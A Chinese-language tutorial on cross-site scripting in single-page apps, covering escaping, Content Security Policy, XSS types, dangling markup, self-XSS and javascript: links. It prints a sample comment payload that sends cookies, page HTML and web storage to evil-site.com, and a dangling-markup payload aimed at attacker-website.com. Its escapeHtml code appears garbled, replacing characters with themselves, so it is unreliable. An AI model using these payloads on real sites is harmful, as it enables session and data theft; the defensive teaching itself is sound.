跨站点脚本 (XSS),您的 SPA 真的安全吗?
最后但同样重要的是,让我们来谈谈跨站点脚本(XSS)!
XSS 攻击是指将恶意 HTML 写入 DOM 中。
一个典型的例子是评论区,你需要将来自数据库或 API 的不受信任的用户评论加载到 DOM 中。
想象一下渲染一条评论:
<div><?php echo $comment->body; ?></div>
攻击者用以下内容填写评论表单:
<script>
fetch('https://evil-site.com', {
// ...
body: JSON.stringify({
html: document.querySelector('html').innerHTML,
cookies: document.cookie,
localStorage,
sessionStorage
})
})
</script>
XSS 攻击之所以如此危险,是因为它不需要攻击者诱骗用户访问其钓鱼网站。它只需要用户访问他们信任的、存在漏洞的网站即可。
使这些攻击更加危险的是,如果只有一个页面容易受到 XSS 攻击,攻击者就可以作为受害者从站点获取任何页面或 API 请求,并绕过 CSRF 令牌、cookie 保护(他们不需要知道您的 cookie)、CORS 和 SameSite cookie 属性。
我们首先了解您可以采取哪些措施来保护您的网站免受此类攻击,然后了解不同类型的 XSS 攻击。
如何保护您的网站?
无论解决方案如何,请始终牢记永远不要相信用户输入以及从第三方 API 收到的数据。
转义不受信任的输入
处理 XSS 攻击的最佳方法是在 DOM 中显示用户输入时始终对其进行转义。
您可以在客户端或 Node.js 中自行实现此功能:
这是一个几乎适用于所有网络浏览器的解决方案:
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'")
}
如果您仅支持现代 Web 浏览器(2020+),那么您可以使用新的replaceAll函数:
const escapeHtml = unsafe => {
return
…
但框架通常会为您解决这个问题,以下是一些示例:
Vue/Blade
<div>{{ untrustedInput }}</div>
反应
<div>{ untrustedInput }</div>
内容安全策略 (CSP)
CSP 是一个标头,允许开发人员限制可执行脚本、AJAX 请求、图像、字体、样式表、表单操作等的有效来源。
示例
仅允许来自您自己网站的脚本、阻止javascript:
URL、内联事件处理程序、内联脚本和内联样式
Content-Security-Policy: default-src 'self'
仅允许对你自己的网站和 api.example.com 进行 AJAX 请求
Content-Security-Policy: connect-src 'self' https://api.example.com;
允许来自任何地方的图像、来自 media1.com 和来自 media2.com 的任何子域的音频/视频以及来自 userscripts.example.com 的脚本
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com *.media2.com; script-src userscripts.example.com
这些只是一些示例,CSP 还有很多其他功能,例如发送违规报告。请务必点击此处了解更多信息。
重要的是不要仅仅依赖 CSP。如果您的网站确实容易受到 XSS 攻击,这是最后的手段。请仍然遵循其他建议。
不同类型的攻击
反射型XSS
这是当 URL 中的文本被添加到 DOM 而不转义输入时。
想象一下“ https://insecure-website.com/status?message=All+is+well ”这样的网站输出此 HTML <div>Status: All is well.</div>
。
这为攻击者打开了漏洞利用的大门,攻击者可以将 URL 中的“All+is+well”更改为恶意脚本,然后将此链接发送到互联网上。
存储型XSS
它与反射型XSS基本相同,只是这次的文本来自数据库,而不是URL。这里的典型示例是聊天、论坛或评论区。
这比反射型 XSS 更常见,也更危险,因为攻击者不必发送他们的恶意链接。
基于DOM的XSS
再次非常相似,只是这次不安全的输入来自 API 请求(想想 SPA)。
悬垂标记注入
如果某个网站允许 XSS 攻击,但已设置 CSP,则该页面在以下地方仍然容易受到攻击:
<input type="text" name="input" value="<controllable data>">
如果攻击者以 开头<controllable data>
,">
他们基本上会关闭输入元素。接下来可以接着<img src='//attacker-website.com?
。
注意,这里src
使用了未闭合的单引号。src 属性的值现在处于“悬空”状态,直到下一个单引号之前的所有内容都将被视为“src”,并发送给攻击者。
如果网站具有强大的 CSP 来阻止传出图像请求,那么攻击者仍然可以尝试使用锚标签,尽管这需要受害者实际点击链接。
有关更多信息,请查看此处:https://portswigger.net/web-security/cross-site-scripting/dangling-markup
自我XSS
这更像是一种社会工程攻击,攻击者通过以下方式说服某人自己执行恶意 JavaScript:
- 开发工具(这就是为什么当你打开热门网站的控制台时,它们会发出很大的警告)
- URL(
javascript:alert(document.body.innerHTML)
例如,尝试在导航栏中执行以获取当前站点 HTML 的警报)
rel="noopener" 属性
当您在新标签页中打开锚链接时,打开的窗口过去可以使用 访问原始窗口window.opener
。虽然window.opener
无法读取类似 的内容document.body
,但幸运的是,攻击者可以使用window.opener.location.replace('...')
例如将原始页面替换为钓鱼网站。在较新的浏览器中,如果未提供“noopener”,则会隐式地使用“noopener”。
XSS 在这里发挥作用,因为攻击者可以创建一个指向其钓鱼网站的锚点,并明确将“rel”设置为“opener”。
为了完全安全,请将COOP 标头设置为同源。
Vue 或 React 等客户端框架无法保护你
来自链接
还记得之前那个弹出 document.body 内容的技巧吗?同样的操作(执行 JavaScript)也可以在锚标签上完成,而且在这种情况下,转义 HTML 也无济于事:
<a href="javascript:console.log('hey hey')">click me</a>
当 React 检测到这样的链接时,它会在控制台中抛出一个警告。Vue 在其文档中对此进行了提及。但截至撰写本文时,两者都无法阻止这种情况的发生。
因此,务必在将用户输入的 URL 保存到数据库之前,先在服务器上验证其有效性。内容安全策略 (CSP) 在这方面也能起到一定作用,正如上文所述。
从诸如 markdown 之类的东西
在我看来,这并非 React/Vue 本身的问题,而更像是知识缺口。当你想在 DOM 中渲染 Markdown 时,首先必须将其转换为 HTML。这意味着你需要将转换后的 HTML 注入到 DOM 中。
问题源于 Markdown 是 HTML 的超集,这意味着它允许所有 HTML 代码。
这带来了一个有趣的挑战。你不想允许用户输入任何 HTML,但同时,你又不能在将用户输入的 Markdown 转换为 HTML 之前就直接进行转义,因为这会破坏某些 Markdown 功能,例如引用。很多情况下,删除 HTML 标签并在反引号内转义 HTML 就可以解决这个问题。
XSS 绝对是一个有趣的话题。除了 SQL 注入之外,多年前我的第一个网站最初也遭遇过 XSS 攻击。这激发了我对网络安全的兴趣。虽然我已经很多年没有写过原生 PHP 网站了,但我仍然记得htmlentities($untrustedValue, ENT_QUOTES);